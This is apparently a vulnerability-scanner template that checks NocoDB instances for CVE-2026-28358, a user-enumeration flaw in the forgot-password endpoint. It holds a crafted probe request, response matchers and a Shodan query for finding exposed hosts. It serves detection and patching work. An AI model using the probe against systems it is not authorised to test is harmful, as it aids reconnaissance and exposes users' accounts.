id: CVE-2026-28358 info: name: NocoDB - User Enumeration author: DhiyaneshDk severity: medium description: | NocoDB is software for building databases as spreadsheets. Prior to version 0.301.3, the password forgot endpoint returned different responses for registered and unregistered emails, allowing user enumeration. This issue has been patched in version 0.301.3. impact: | Attackers can enumerate registered users, potentially aiding further targeted attacks. remediation: Update to version 0.301.3 or later. reference: - https://github.com/nocodb/nocodb/security/advisories/GHSA-387m-j3p9-3php - https://github.com/nocodb/nocodb/releases/tag/0.301.3 - https://nvd.nist.gov/vuln/detail/CVE-2026-28358 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2026-28358 cwe-id: CWE-204 epss-score: 0.00599 epss-percentile: 0.69812 metadata: verified: false max-request: 1 vendor: nocodb product: nocodb shodan-query: http.favicon.hash:-2017596142 tags: cve,cve2026,user-enum,nocodb variables: email: "{{randstr}}@{{rand_base(5)}}.com" http: - raw: - | POST /api/v1/auth/password/forgot HTTP/1.1 Host: {{Hostname}} Accept: application/json, text/plain, */* Content-Type: application/json Origin: {{RootURL}} Referer: {{RootURL}}/forgot-password {"email":"{{email}}"} matchers-condition: and matchers: - type: word part: body words: - "Your email has not been registered" - type: word part: content_type words: - "application/json" - type: status status: - 200 # digest: 4b0a004830460221009c8434dbb8e263a0c52470e53e58b01afe47b4779b1aba5e2b81de275b74a679022100a70bea00ef1c6b763979ec8d60956fa4c3943d2cef9381f84263a2e9c0024f6d:922c64590222798bb761d5b6d8e72950